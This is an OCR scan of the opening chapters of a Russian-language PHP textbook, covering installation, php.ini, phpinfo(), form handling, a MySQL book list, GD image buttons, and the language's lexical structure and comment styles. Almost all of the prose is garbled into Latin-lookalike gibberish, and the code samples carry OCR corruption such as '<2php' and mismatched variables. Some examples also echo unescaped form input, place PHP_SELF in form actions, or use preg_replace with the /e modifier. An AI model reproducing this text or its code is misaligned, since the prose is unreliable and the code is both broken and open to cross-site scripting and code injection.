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'nasa 1. Beepexue B PHP

PHP - 3710 mpocToii, HO B TO ke BpeMsi 04eHb MOIIHBIN SI3bIK IIPOrPaMMHPO-
BaHus, pa3paboranHblit aas co3nanuss HTML-comepxumoro. B maHHo# riase
Mbl C BAMU MMO3HAKOMUMCS C OKPY>XEHHEM 3TOTO SI3bIKa, Bbl Y3HAETe €ro IMpu-
POy, UICTOPHIO, a TAKXKE MOJIy4uTe HHHOPMALIMIO O TOM, Ha KaKUX maatgopMax
OH 3aIyCKaeTcs U KaK ero HaCTpOuTh. B 3aBepliieHUM 3TOH r1aBbl Bbl yBUAUTE
PHP B neiictBuu: Mbl paccMoTpuM Heckosibko PHP-nporpamm, uitoctpupyio-
KX pelleHne 00LIMX 3a/1a4, HanpuMep, 00pabOTKyY JaHHbIX HOPMBI, B3AUMOEH-
cTBHe ¢ 6a30i JaHHBIX U CO3[aHHe TPaUKH.

1.1. Y10 penaer PHP?

PHP moxHO ucnosib30BaTh TPEMA OCHOBHbBIMU criocob6aMu:

o Cyenapuu cepsepa — usHadyaabio PHP paspaboran [/a co3maHus AMHa-
MHMYECKOro BeO-KOHTEHTA Ha CTOPOHE CepBepa, U 3TO 10 CHX IMOP SIBJISIET-
cs1 camoit cunpHoM croponoit PHP. /151 renepaunun HTML-kozna BaM Hy-
XKeH cuHTakcuyeckuil aHanusatop PHP u Be6G-cepBep, ¢ moMoLIbi0 KO-
TOPOTO MOXXHO OTIPaBJIATh IOJYyYMBIIMECS TOKYMEHTbI Gpay3epaM KJIH-
entoB. Kpome toro, PHP Tak ke crtanm momysisipHbIM [Jisi TeHepaiuu
XML-nokymentos, rpaduky, Flash-anumanuu, PDF-daitnoB u muororo
JIpyroro.

o Cuyenapuu xomanornoti cmpoxu — PHP MOXXeT BbITIOTHATD ClIEHAPUH U3 KO-
MaH/HOM CTPOKH, BO MHOTOM Kak Perl, awk, niu o6osouka Unix. Bbl Mo-
JKeTe UCIOJIb30BaTh CIIEHADUM KOMAHIHOW CTPOKH [IJ151 33124 CUCTEMHO-
ro aIMMHUCTPUPOBAHUS, TAKUX KaK pe3epBHOE KOMMPOBAHHE M MapCHHT
XypHaJa.

o  Kuuenmcxue npunoxcenus c epaguueckum unmeppeticom noaviosamens —
ucnonsdysi PHP-GTK!, Bbl MoxeTe Hamucath Kpocc-maargopMeHHOe
npuioxenue, obanaoume rpapudeckum HHTEpGENCOM MMOIB30BATES
(GUI), na PHP.

'B 2015 r., nocne [oOBOMLHO NPOAONXUTENBHOMO NepepbiBa 6bina Bo3obHOBNeHa paboTa Hap pac-
wupeHnem PHP-GTK.




PHP. NonHoe pykoBoACTBO M CNPABOYHMK PYHKUUA

B 3T0i1 KHUrE, OHAKO, MBI CKOHIIEHTPUPYEMCSI Ha IEPBOM CIIOCOGE TPUMEHEHUST
PHP: ucnosnb3oBanre PHP 15 pa3paboTky AMHAMHYECKOTO BEO-KOHTEHTA.

PHP pa6otaet Ha Bcex OCHOBHbIX OTIEPAIIHOHHBIX CHCTEMAX, OT BapuaHToB Unix,
B ToM uncJe Linux, FreeBSD, Ubuntu, Debian u Solaris 10 Windows 1 Mac OS
X. OH MOXeT UCII0JIb30BAThCS CO BCEMH OCHOBHBIMH BeO-cepBEpaMH, B TOM YHC-
ne Apache, Microsoft IIS u cepsepsi Netscape/iPlanet. '

Cam s3bIK ype3BbIyaitHo ru6ok. Hanmpumep, Bbl He OrpaHHYeHbl BHIBOJOM MPO-
cto HTML unu apyrux TeKcToBbIX (haiiioB — BBl MOXETE reHEPHPOBATH JIOKY-
MeHTbI J060ro dhopmarta. PHP umeer BctpoeHHyIo moaaepxky BoiBojia ¢ailion
PDF, uso6paxenuit GIF, JPEG, PNG, Flash-posukos.

Onnum 13 Haubo1ee 3HaunTEIbHBIX KauecTB PHP siBjisieTcst BCceCTOPOHHSIS MOI-
nepxxka 6a3 nanusix. PHP noaaep)xuBaeT Bce oCHOBHbIE 6a3bl JaHHBIX ( BKJIIOYAsT
MySQL, PostgreSQL, Oracle, Sybase, SQL MS, DB2 u ODBC-coBmecTumbie
6a3bl IaHHBIX ), a TAK )K€ MHOrHe apyrue. Takxke nogaepxusaioTcss NoSQL-6a3bl
naHHbIX, Takue kak SQLite 1 MongoDB. B o6iem, ¢ ucnosnb3oanuem PHP
co3iaHue BeO-CTPaHUIL C IMHAMHUYECKUM KOHTEHTOM, MOJTyYeHHbIM U3 6a3bl 1aH-
HBIX, SIBJISIETCS IOCTATOYHO MPOCTHIM.

Haxkonen, PHP npenocrasiasier 6ubanoreky yxxe roroboro PHP-xoaa st BbI-
NOJHEHUsT OOLIUX 3a7ay, HarmpuMep, s abcTpakuuu 6a3bl JaHHBIX, 0OpaboT-
Ku owunbok u T.1. ta 6ubmmoreka HasbiBaercsi PHP Extension and Application
Repository (PEAR). Ilo cBoeii cytu PEAR - ato niiatgopma 1 cucteMa ynpas-.
JIEHUsI JI7151 IOBTOPHO Ucnosb3yeMbix komnoHeHToB PHP. ITogpo6ro o PEAR BbI
MOJXXeTe y3HaTh 110 aapecy: http://pear.php.net.

1.3. Ycranoeka PHP

Kaxk 6b11 ynomsHyTo Bbitie, PHP gocTymneH a1t MHOTHX ONepaiuoOHHbIX CHCTEM
1 miatdopM. Bam HyxHo mepeittd mo ccoliake http://www.php.net/manual/
ru/install.php, HaiiTi cpeny, koropast Hau6osiee 6;1M3KO COOTBETCTBYET TOiA, KO-
TOpas OymeT y Bac UCIOJIb30BAThCS, U CJIEYOBATh HAJIEXKAIUM UHCTPYKIHSIM.

BpeMst oT BpeMeHM BaM MOXET MOHa00MThCSI UBMEHUTH CTAHAAPTHYIO KOHU-
rypauuio PHP. UTto6b! crenaTh 310, BbI 10JKHBI Oy1eTe H3MEHUTb KOHbUTYpa-
uvonHbIi (aitn PHP u nepesanyctuts Baw Be6-cepBep Apache. Kaxapiii pas,
Korza Bbl BHOcuTe u3MeHeHus B cpeay PHP, BbI n0kHBI Iepe3anyckaTh cep-
Bep Apache, 4TOObI BHECEHHbIE M3MEHEHHS] BCTYIIHIIM B CUILY.

Kondurypauus PHP xpanutcs B daitne php.ini. IlapameTpsl B 3TOM aiiie
onpenesior moseaenne PHP-byHkuuit, Hanpumep, 06paboTky ceccuit u ¢hopm.
B nocienyouux riaBax Mbi 6y/1eM CChLIATHCSI HA HEKOTOPbIe OnuH daitia php.
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ini, HO B LIEJIOM KOJI U3 3TOM KHUTH He TpeOyeT Kakoi-To ocoboit HacTpoitku PHP.
3a 6osee moapo6HO# nHbopManuei o daitse php.ini MOXXHO 0GPATHTBCSI K CJie-
nytoueii ceoike: http://php.net/manual /configuration.file.php.

1.4. 0630p PHP

Crpanuub PHP — 310 066140 HTML-cTpaHuisl co BCcTpoeHHbIMH B HUX PHP-
komaHaamu. Bo MHoroM ato oranyaer PHP-cTpanuub! or apyrux nuHamuye-
CKUX DellIeHUi, KOTOPbIE SIBJISIOTCS CLIEHAPUSIMH, C «UHUCTOTO JIUCTAa» TeHEPUPY-
toutumu HTML-koz. Be6-cepBep no xony oTKpbITHs BeO-cTpaHuU1Ibl 06pabaThi-
BaeT PHP-koMaH bl ¥ oTIIpaBiisieT UX BbiBOJ B Opaysep. [Ipumep 1-1 nokasbiBa-
eT noJjHyto crpanuny PHP.

Mpumep 1.1. Cuenapmit hello_world.php &

L T N N

<html>
<head>
<title>MocmoTpum Ha mup</title>

</head>

<body>
<?php echo “lMpuser, mupl”; 2>
</body>
</html>

Coxpanure cozepxkumoe npumepa 1.1 B daitn hello_world php, otkpoiite ero B
BallieM Gpay3epe. Pe3ysibrat nokasaH Ha puc. 1.2.

«

pumer, mup!

Puc. 1.2. Buisop hello_world.php




PHP. MonHoe pykoBOACTBO U CNIPABOYHMK DYHKLNHA

BriBoa npousBoaut komaHzaa echo (ctpoky “IIpuBeT, MUp!” B 3TOM ciiyyae), BbI-
Boj 6yner BcraByieH B HTML-daitn. B atom npumepe PHP-koa nmomenited Mex-
1y Teramu <2php u 2>. Bo BTOpO# ri1aBe Bbl IO3HAKOMUTECH C APYTMMH crocoba-
Mmu BHenpeHust PHP-koza.

Kondurypauua cucremsl

Dyukiuus phpinfo() coznaer HTML-cTpanuny ¢ noiHo# unHgopmanveid o cu-
cTeMe, Ha KOTOPYIO B AaHHbII MoMeHT yctaHoByieH PHP, u xondurypauuu ca-
moro PHP. Ha aToii cTpanuuie Bbl Takxke yBUAMTE MH(POPMalHIO 00 yCTAaHOB-
JIEHHBIX pacmupenusix. I[Ipumep 1.2 nokasbiBaeT MOJHYIO CTPAHUILY, OTOOpaXka-
IOIIYI0 CTPAHMILY KOHUTYPALIHIO.

Npumep 1.2. Wcnonbaosanue phpinfo{)  :

<2php phpinfo();2>

Ha puc. 1.3 nokasan BbiBoa npumepa 1.2. ITockosibKy KaXkaasi CUCTEMa UMEET
CBOU 0COOEHHOCTH, phpinfo(), KaK MPaBWJIO, MPUMEHSIETCST [JIsi TPOBEPKU KOH-
(urypanioHHBIX NapaMeTPOB B JAHHOW CUCTEME U [JISI TPOCMOTPA AOCTYITHBIX

npeaonpenejeHHbIX KOHCTAHT.

PHP Credits

Configuration

apache2handler
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®opmbt

IIpumep 1.3 cosmaer u oGpabareiBaer dopmy. Koraa mosbp3oBatens Haxnma-
et kHonky OTnpaBuTh, BBeAeHHass MHGOPMALUs OTIIPaBJseTCs: 00paTHO ITON
crpanuue. Kox PHP nposepsiet moJie name (UMsi) 1 0TOOpakaeT MPUBETCTBHE.

: MNpumep 1.3. O6paGotka Gopmsi (form.php)  :

:  <hmbp>

. <head>

: <title>Popma npusetcraus</title>

: </head>

: <body>

: <2php if{lempty($_POST['name’]}) {

E echo “Mpueer, {$_POST['name’]}, u no6po noxanoears!”;
: 1o

: <form action="<2php echo $_SERVER['PHP_SELF']; 2>" method="post">
H Beenute saiwe umsa: <input type="text” name="name"” />

- <inputtype="submit” />

: </form>

: </body>

*  </html>

®Dopma 1 TpUBETCTBUE MMOKa3aHbl HA puc. 1.4.

&=
]
L (el [ locathost/formphp Q
Boepne samerner | (Owpesms]
[ |
f
& (el " localhost/form.php Q
TIpuper, Jemic, u fo0p0 noxanosars!
Beemwresamosmr:i | {;pesie]

Puc. 1.4. Ctpanuua c $opmMoii 1 npuBeTCTBUEM



PHP. MonHoe pykOROACTBO U CNPaBOYHUK PYHKUMIA

[Iporpammbr PHP nosnyyaioT 3naueHust Gopmbl MpeuMyIeCTBEHHO Yepe3 Mac-
cuBbl $_POST u $_GET. B riase 7 o6pabotka ¢hopM paccMoTrpeHa 6oJiee moapob-
Ho. A moka ybenurech, uto B BaieM (aitje koHbuUrypauuu php.ini BbIKII0YE€HA
(ycranossiena B off) qupexktuBa REGISTER_GLOBALS. B npuHiume 310 sABJISETCS
YCTaHOBKOM IT0 YMOJTYAHHIO.

Bba3bl AaHHbIX

PHP noanepxuBaer Bce MOMyJsipHble CHCTEMbl 0a3 JaHHBIX, B TOM 4YHCJIE
MySQL, PostgreSQL, Oracle, Sybase, SQLite 1 ODBC-coBMecTumble 6a3bl
nanubix. Ha puc. 1.5 nokasana yactb 6a3bl fanibix MySQL, PHP-cuenapwii ot-
HpaBJsieT 3ampoc 6a3e JaHHBIX, MOJYYaeT Pe3yJbTaT MU BO3BPAILAET €ro B BUMIE
TabIM1IbI, COMEPKALIMIA 3aT0JI0BOK, rox mybaukauuu u ISBN kHuru.

4/.) Mpumeuanune. SQL-koao ona aToro NpuMepa Haxoautcsa B daine
,:‘% library.sql. Bbl MOXeTe Mcnonb3oBaTb €ro nocne co3gaxHus 6asbl
AaHHbix library. Y Tonbko nocne 3T0ro Bbl CMOXeTe NPOBEPUTL Cne-
OyioLWwmnii NpUMEp KOAa, a TakXe CBA3aHHbIE C HAM NpUMeEpPbI U3 rna-

Bbl 8. Mogpo6Ho 060 Bcem aToM ByaeT paccka3aHo B . 8.

‘.é?
i
.3’

Kon B mpumepe 1.4 moakioyaercs k 6a3e 1aHHbBIX, OTIIPABJISIET 3AMPOC /ISl TOJTY-
YyeHMs Bcex AOCTYINHbIX (available) kaur (¢ momoursio oneparopa WHERE) U BbI-
BOAUT Tab/MUILy Pe3yJIBTATOB C IIOMOIIBIO IIUKJIA while.

1 tocathost/ P 2, 4}

Ha XaRubil MOMEHT A0CTYOHRD CIeXVIONIAe KHATH

3aronceox Toa | ISBN
M23A¥AE 3
Agrao-PyCcsant CAOSaps N0 36IY. PAXMIXE M iHPOPMAITIORHRRS ToXHOTOTUDS (68 mC.Tepe.y | 2010
Cursamaae 1eEponp i 3 X B CHCTEMAT X BEu 301
AALKTAPOHLL. E
Ccyoast PaANOIMERTRCHIA # CBRIMA. ¥ Ie0H0E TOTOOMS 1K BY30R. 2002 { ISBN:3-93517-236-3|
Visual Basic 6.0. Y4enoe nocodie 2008 18BN 3-03517-035-8
OCHOBE IISKIPOHIKH. VIe0H0E NOCOBHE A% BYVI0B 2007 ﬁi\ggj -
Pw Eagineer Mud{‘ e 2 073 0/4.0. Cavtoywsmmens. Kimra « DVD ¢ BMZeoypoxams, npoexx:mm 2001 ISBNG78-066-8806-
¥ npinepmil = 33-3
] Wm,pcxam’rzpu 'U'R B PATHOMICOUTANBCECH MpasTIXE 2010 ISBN 5-6518-0112-5]
i . BN-078-5-84387-
(0322204 ¥CIPORCIZA A MAXDORCHIPOAIEPAX Copst AVR puprest Aamel 2005 g‘—f’\;a §:3-0438
344-
. $278-5-03387-
| TeasxoMYHUX AUOMHIE CHCTEME 2006 I:?'\z 3:5937%%
| M . 13010 ISBN$78-5-03387-
| &op cemtu 4 2010 3643
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Puc. 1.5. Cnucok kHur, nonyueHHbiii PHP-cueHapvem n3 6a3bl gaHHbIXx MySQL

SEEEESS00000ES000000ENNNE00NNENNNE0EEsEEEsNREsEsEEEEREEEEERERS

Mpumep 1.4. 3anpoc u3 6a3b gaxkbix Books (booklist.php)

<2php

$db = new mysqli(“localhost”, “petermac”, “password”, “library”);
// y6enuTecs, 4To Bl UCNONb3yeTe KOPPEKTHbIE YHeTHbIe AaHHbIE
if ($db->connect_error) {
die("Connect Error ({ $db->connect_ermo}) { $db->connect_error}”);

}

$sql = "SELECT * FROM books WHERE available = 1 ORDER BY title”;
$result = $db->query( $sql);

2>

<html>
<body>

<table cellSpacing="2" cellPadding="6" align="center” border="1">
<tr>
<td colspan="4">
<h3 align="center">Ha gaHHbiit MOMeHT gocTynHbl cnegyiowme kiurn</h3>
</td>
</tr>

<tr>
<td align="center”>3aronosok</td>
<td align="center”>lon napanmns</td>
<td align="center”>ISBN</td>

</tr>

<2php while ($row = $result->fetch_assoc()) { 2>
<tr>
<td><2php echo stripslashes($row|title’]); e></td>
<td align="center"><2php echo $row['pub_year']; 2></td>
<td><2php echo $row['ISBN’]; 2></id>
</tr>
<%php } 2>

</table>

</body>
</html>



PHP. MonxHoe pyKkoBOACTBO W CNPaBOYHUK PYHKUMI

DBa3bl 1aHHBIX MPENOCTABISIOT JUHAMUYECKUI KOHTEHT /sl CAliTOB HOBOCTEIA,
6JI0TOB, a TaKXKe KOMMEPUYECKHUX CaiiTOB, KOTOPbIe SIBJsAIOTCSA cepaneM WWW,
[Toapo6Hee o mocTyme k 6a3aM AaHHBIX Mbl TIOTOBOPHUM B TJaBe 8.

Fpadmka

C nmomousio PHP BbI MoXeTe 10CTaTOYHO JIErKO CO371aBaTh M U3MEHSITh U30-
Opasxenusl, ucrnosb3ys pacunperne GD. IIpumep 1.5 nipemocTaBiisieT TEKCTOBOE
T0JIe, TO3BOJISIIONIEE TTOIh30BATENIO0 BBECTU TEKCT /sl KHOTKU. ClieHapuit 6epet
rpacduyeckuit ¢aiia ¢ mMycToi KHOMKOM U LeHTPUPYET TEKCT, epelaHHblil eMy
kak GET-mapameTtp 'message’. Pe3ysbrat Bo3Bpaiiaetrcss obpatHo Gpay3epy B
Buae PNG-usobpaxeHus.
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.

fipumep 1.5. Ounamuueckue kHonku (graphic_example.php) !

<?2php
if (isset($_GET['message’])) {
// 3arpyxaem wpndT, U306paxeHne, BHYUCNSEM WMPHUHY TEKCTA
$fant = “times”;
$size=12;
$image =imagecreatefrompng(“buttan.png”);
$tsize = imagettfbbox($size, O, $font, $_GET['message’]);

// uenTpupyem

$dx = abs($tsize[2] - $tsize[0]);

$dy = abs($tsize[5] - $1size[3));

$x = (imagesx($image) - $dx) / 2;

$y = (imagesy($image) - $dy) / 2 + $dy;

// BbHIBOAUM TEKCT
$black = imagecolorallocate($im,0,0,0);
imagettftext($image, $size, 0, $x, $y, $black, $font, $_GET['message’]);

// Bo3spawaem nsobpaxenue
header("Content-type: image/png”);
imagepng($image);

exit;

Jig=

<html>
<head>
<title>Dopma kHonku</fitle>

</head>

<body>
<farm action="<2php echo $_SERVER['PHP_SELF']; 2>” method="GET">
Tekct kHONKM:
<input lype="text" name="message” /><br />
<input type="submit’ value="Cospnars kHonky” />
</form>
</body>
</html>
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®opma, creHepupoBaHHas mpumepom 1.5, nokazaHa Ha puc. 1.6. Co3gaHHas
KHOIKa Moka3aHa Ha puc. 1.7.

Ber Mmoxxete ucnonszoBatb GD /st [MHAMHUYECKOrO U3MEHEHHsT pPa3MepPOB HU30-
OpaxeHwii, BbiBoza rpacdmkyu U MHoroe apyroe. PHP Takxe uMeeT HECKOJIbKO
paciuMpeHuii /1 Co3aHus JOKYMEHTOB B nonyspHoM ¢popmate Adobe PDFE




Texct xHOOXM. Tekcr

'Co3aath KHOMKY

Puc. 1.6. ®opma cos3aanHmna KHONKKU

Puc. 1.7. KHonka co3gaHa

JlMHaMuyeckoe co3aaHue M300paxkeHHit MoAPoOHO paccMOTpeHO B riase 9,
a B rzaBe 10 Mbl noroBopuM o co3nauuu aitos Adobe PDFE.

Tenepp, korza Bbl yBU€IH, KAKHE BO3MOXXHOCTH OTKpbiBaeM BaM PHP, BbI roto-
BbI MIPUCTYNHTD K €ro u3ydyeHuto. Mbl HauHeM C u3yuyeHust 6a30BOil CTPYKTYpbI
S13bIKA, 3aTeM CKOHLIEHTPUPYEMCS Ha M0JIb30BaTeNbCKUX (DYHKUMAX, MAHUITY IS -
LIMSIX CO CTPOKaMU M 0ObEKTHO-OPHEHTHPOBAHHOM NPOrPaMMHPOBAHUH. 3aTeM
MbI MIPUCTYNHUM K U3YYEHHIO ONpe/eieHHbIX MPUKJIAAHbIX obsacTeii: 6a3bl qaH-
HbIX, rpacduka, XML u 6e3onacHocTs. A B KOHIle KHUTH OyaeT npuBeaeH crpa-
BOYHHK 10 BCTPOEHHBIM (PyHKUHAM U paciipeHUsAM. OcBOiiTe 3TH IJ1aBbl U Bbl
ocBoute PHP!
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B aroii riiaBe BbI TO3HAKOMUTECH C OCHOBaMU sidbika PHP: ¢ Tunamu naHHbIX,
nepeMeHHbIMH, ONlepaTOPaMHU U yIpaBjleHHeM MOPSIKOM BbIITOJHEHUSI OIlepaTo-
poB. SI3bik PHP paspabaTbiBajicsi Mo BAWSIHUEM APYTHX SA3BIKOB IIPOrPaMMU-
poBanus, B yactHocTH, Perl u C, mo3aToMy eciii Bbl 3HAKOMbI C ITUMHU SI3bIKAMU
nporpaMMHpoBaHusi, Bbl Jierko pasbeperech B PHP. Ecain sxe PHP - Bani nepBbiii
SI3bIK TPOrPAMMUPOBAHUS, HE HYXKHO MAaHUKOBATh: Mbl HAYHEM C CaMbIX OCHOB.

2.1. Jlekcuueckas crpykrypa

Jlexcuueckasi CTPYKTypa si3blKa MMPOrPaMMHPOBAaHUSI — 3TO HAOGOP OCHOBHBIX
NpaBuWJI, KOTOPBIN OonpeesisieT, KaK Ha/Io MCATh POrPaMMBbI HAa 3TOM $I3bIKE. JTO
CHUHTAKCHC CaMOr0 HU3KOTO YPOBHS SI3blKa U OH OIpenessieT, KAKUMH JOJIKHBI
OBbITb UMEHA ITepEMEHHbIX, KAKKE CUMBOJIbI MOTYT MCIIOJIb30BAThCS /ISl KOMMEH-
TapueB, U KaK ONepaTopbl IPOrpaMMbl OyIyT pa3aessiTbCs APYT OT Apyra.

2.1.1. YyBCTBUTENbLHOCTb K PerucTpy

VMeHa nosb30BaTeNbCKUX KJIACCOB U (DYHKLMH, a TAKXKE BCTPOEHHbIE KOHCTPYK-
LMK M KJIIOYEBbIE CJIOBA, TaKUe KakK echo, while, class U T.A., ABJISIOTCSA HE YyB-
CTBUTEJIbHBIMU K peructpy. [10aTOMy Bce TpH cilefyoliye CTPOKU 9KBUBAJICHTHBL:

echo("npuset, Mup” );
ECHO("npueer, mnp”);
EcHo("npuser, mup”);

C zpyroii CTOpOHBI, IEPEMEHHbIE SIBJISIOTCS YyBCTBUTEJbHBIE K perucTpy. 11oa-
TOMY $name, SNAME 1 $NaME — 3TO Tpu pa3Hble IepeMeHHbIE.

2.1.2. Onepatopbl U TO4KM C 3aN9TbIMK

Onepatop — 3to pparment koga PHP, renatomuit yro-m60. Onepatop MoxeT
OBITh IPOCTHIM KaK NPUCBaBaHUe 3HAUYEHHUs TePEMEHHON UJIH XKe CIOXKHBIM KakK
LIMKJI C MHOTOKPATHBIMU TOYKaMH Bbixoza. PaccMoTpuM HeGoJIbliy0 10AO0PKY
oneparopoB PHP, Bkitouasi BbI30BbI (yHKLMH, IPHCBaNBaHHe 3HAYEHUS U Oe-
patop if:
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echo “Mpuser, mup”;

myFunction(42, "Mpueet”);

$name = "Pepop”;
$b=9%a/250;

if ($a == $b) {

" "
echo "MepemeHHbie pashbil”;

[ns paspenenust npoctbix oneparopoB PHP ucnosnb3yer ToukH ¢ 3ansThIMU.
C05xHbIE (COCTaBHBIE) ONEPATOPBI, HCMOJb3YIONIHEe HUTYPHBIE CKOOKH, YTOOBI
NIOMEeTHTD 6JIOK KOZ1a, Bpo/ie MPOBEPKHM YCIOBUS MJIM LIMKJIA HE HYXKIAI0TCS B TOY-
Ke 3aMnsToii nocJje 3akpeiBaoleit ckobku. B otinuue ot apyrux si3bikos, B PHP
TOYKA C 3aMsTOM sABJSIETCS HEOOXOAMMOM neped 3aKPhIBAOILENCS CKOOKOI:

if ($needed) {
echo "Owa gonxHa 6biTb y Hacl”;  // Touka c 3anstoin Heobxoanma 3peck
) // 3Bech TOYKA C 3aNATOM He HyXHa

OnHako, Bbl MOXKETE He YKa3bIBaTh TOUKY C 3aMsiTON r}epen 3akpbiTieM Tera PHP:

<?2php
if ($a==$b) {
echo "Mepemennsbie pagnbil”;

}

echo "Tpusert, mnp” // 3Beck TouKa C 3aNATOM He HyXHa
2>

Xopouuii cTHIIb - YKa3biBaTh BCe He0OsI3aTeIbHbIE TOYKH C 3aISITHIMHU, TOCKOJIb-
Ky 3TO CyLIECTBEHHO YNIPOCTUT A0baBIeHue Koaa B Oy ayieM.

2.1.3. Npo6enbi u pa3pbiBbl CTPOK

I[1pobesnbl 1 npoGesbHble CUMBOJIBI (HOBasi CTPOKA, TabyJISIMS M T./1.) HU Ha YTO
He BausiioT B PHP-nporpamme. Bol MokeTe pa3buth onepatop Ha Jito6oe yucio
CTPOK WJIM e 3aMcaTh B OJHY €AMHCTBEHHYIO CTPOKY. Hanpumep, caeayroumii
oreparop:
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raisePrices($inventory, $inflation, $costOfLiving, $greed);

MO>XHO 3aIlucaTh C 6OJIbHII/IM YHUCJIOM HpOéeJIthIX CHUMBOJIOB U IIEPEXO/I0B Ha
CJIELYIOILYIO CTPOKY:
raisePrices (
$inventory .
$inflation ,
$costOfliving,

$greed
H

HUJIU C MEHBLUIUM YUCJTIOM Hp06eJIOB:
raisePrices($inventory, $inflation, $costOfLiving, $greed);

[IpeumyurecTBo 1aHHOM rMOKOCTH 3aKJII0YAETCS B BO3MOXHOCTH (hopMaTHpoBa-
HUSI BallleTo KO/Ia, YToObI caesiaTh ero 6osiee yntabeabHbiM. HekoTopsie Hepaau-
Bbl€ IPOrPAMMHUCTBI MOJIb3YIOTCSI 3TOM CBOOOI0# B 0OPaTHYIO CTOPOHY U CO3/1a-
IOT COBCEM HEUMTAEMbIH KOJI - 3TO HE PEKOMEHyeTCs!

2.1.4. KommeHnTapuu

KomMeHTapuu NpefoCTaBiISIIOT AONOJHUTENbHYIO MH(GOPMALMIO O KOJe JIO-
IsIM, KOTOPBIe OYAYT YMTATh Balll KO, HO OHU MOJIHOCTbIO UrHopupytotcsi PHP
BO BpeMsI BBIIIOJIHEHUS TPOrpaMMmbl. [laxke ecyiv Bbl IyMaeTe, UYTO HUKTO He Oy-
JeT YUTaTh Balll KOJ, KDOME Bac, BCe pAaBHO PEKOMEHAYeTCsi 10OaBJISITh KOMMEH-
TapUH 7S CaMOT0 ce0s1 - CITYCTsI HECKOJIbKO MeCSILIEB Balll KoJ Oy/IeT BbITJISIAETh
TaK, KaK Oy/TO ero Hamucaa He3HaKOMell,

B upneane Bau KOMMEHTapUU JOJDKHBI OBITh JOCTATOUHO PEIKUMH, YTOObI He
MelIaTh CAMOMY KOZY, HO IOCTaTOYHO MHOTOYHCJIEHHBIMH, YTOObBI BBl MOTJIH 110~
HSTH 1T0 HUM, YTO MMPOUCXOAUT. He HYy>KHO KOMMEHTUPOBaTh OYeBUIHBIE BEIIlH,
3aTO pa3jMuHble XUTPhble TPIOKU OYeHb HYXAATCS B KOMMeHTapusx. Hampu-
Mep, B CJIEAYIOUIEM CTy4ae KOMMEHTApUil OyAeT JIUIIHUM:

$x=17; // coxpansem snauenme 17 8 nepemennoii $x
3aTo B CIEAYIOLIEM CTyYae KOMMEHTAPUI OIPaBaH:

// xoHeeptMpyem cywHoctu &#nnn; B cumBonbl

$text = preg_replace('/&#([0-9])+;/¢’, “chr("\\1')", $text);
PHP TMIPEAOCTABJIAET HECKOJIBKO c11oco6oB IIOMEUIEHUA KOMMEHTAPHEB B Balll
KO/, BCE OHM TIPHUIILIMA U3 CYIIECTBYIOUIMX SI3BIKOB MTporpaMmupoBanus - C, C++
n o6os0uku Unix. O6b14HO ucnosib3yercst C-CTUIIb 111 KOMMEHTUPOBAHUS 32
npeageaaMu Koga U CTUJIb C++ JJIs1 IOMEIEHUSA KOMMEHTAapUEB B CaM KO/.
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KommenTapuu B ctune o6onoykm Unix

Koraa PHP Bctpeuaer pemetky (cMMBOJI #) 3a pefiesiaMU Ko/a, BCe, UTO CJIeLy-
€T I10CJIe Hee 10 KOHLA CTPOKHU Ui 10 koHua cekuuu PHP kona (B 3aBUcuMocCTH
OT TOTO, YTO BCTPETUTCS PaHbllle) paCCMAaTPUBAETCSI KAK KOMMeHTapui. JlaHHbIH
CTUJIb KOMMEHTApHEB MCIOJIb3YETCS B CUeHapusx ob6osouky Unix U noseseH
1151 HeOOJIbLIMX 3aMETOK M aHHOTALMH OJIMHOYHBIX CTPOK KOJIa.

[Tocko/IbKY peIeTKH 3aMEeTHBI Ha CTPaHMLlE, KOMMEHTAPHM B CTHJIE 000JI0YKH
Unix HHOT/IA UCIIOJIb3YIOTCS, YTOOBI TOMETHTD OJIOKH KOJA:

HIHHHAHBH R H AR
## Pynkumn Cookie
H#HHSH SRR

I/IHOFI[a OHH UCITOJIb3YIOTCA NEPEN CTpOKOﬁ KOaa, '-ITO6IJI OITNCATh, YTO OHA aeJia-
eT. B 3ToM ci1y4ae koMMeHTapHii pa3MelaeTcsl C TEM JKe YPOBHEM OTCTYIIA, YTO
U KO

if ($doubleCheck) {

# coznaem HTML-popmy noateepxaeHus
echo confirmationForm();

}

[Tpu >xenaHuM pemeTKol MOXHO 3aKOMMEHTHPOBATh OJJMHOYHbBIE CTPOKH KO/Ia,
B 9TOM CJIyyae KOMMEHTAPUIii MTOMEINAETCS B Ty XKe CTPOKY, UTO M KOJI:

$value = $p * exp($r * $t); # suiuncnsem cnoxHoe Beipaxenue

Korza BoI TecHo cMemmnBaere HTML u PHP kon, BbI MoXeTe UCITOIb30BaTh 3a-
kpbiBatomuii ter PHP, uToObI mpepBaTh KOMMEHTAPHIA:

<2php $d = 4; # Ycranaenueaem $d 8 4. 2> Mepemennas d = <2php echo $d; 2>
Mepemenras d = 4

KommenTapum B ctune C++

Korna PHP BcTpeuaer 3a npenesnamMu kona nBa cietna (//), BCe YTO CJIEAYET MO-
cJie ciemei 10 KOHLA CTPOKM WJIHM O KOHLA CeKLUU Koja (B 3aBUCUMOCTH OT
TOTO, YTO PaHbIlE BCTPETUTCA), PACCMAaTPUBAaETCsl Kak KOMMeHTapuit. /laHHBIH
CTUJIb KOMMeHTapueB ucnosbdyercsi B C++. Pe3yabrat Takoii ke, Kak U B CJIy-
yae C pelmeTKou.

PaccMoTpuM mpenpiaylie NpyMepsl KOMMEHTAapHeB, MepenucaHHble B CTHIIE
Cei*:

/177177777/777777/7/77/7/7//
// ®ynkumm Cookie

11111777777777717777777/

if ($doubleCheck) {
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// cospaem HTML-popmy noatsepxaerms
echo confirmati onForm();

}

$value = $p * exp($r * $t); // ebiumucnsem cnoxHoe seipaxenne

<?php $d = 4; // Ycranaenueaem $d 8 4. 2> Mepemennas d = <2php echo $d; 2>
Nepemennas d = 4

KommeHnTapum B ctune C

KommenTapuu B cTusie 060104kH 1 B cTie C++ nosie3Hbl fJ1s1 aHHOTAllMKU KoJa
WJIM [JIsl CO3aHHUs1 KOPOTKMX NMPUMeYaHHii, 0JHaKO 6oJiee IJIMHHbIE KOMMEHTa-
pHHM HYXAal0TCs1 B ApyromM ctusie. Mimenno noaromy PHP nomzepxusaior 6s104-
Hble KOMMEHTapUH, KOTOpble MCIOJIb3YIOTCSl B s13blKe mporpamMmupoBanusi C.
Korpa PHP Bctpeuaer ciemr u 3Be3nouky (/*), Bce, UTO CJIeAyeT MOCJ€ ITHUX
ABYX CUMBOJIOB, CYMTAeTCsl KOMMEHTapHeM, NoKa He Oy/eT BcTpevyeHa nocJeno-
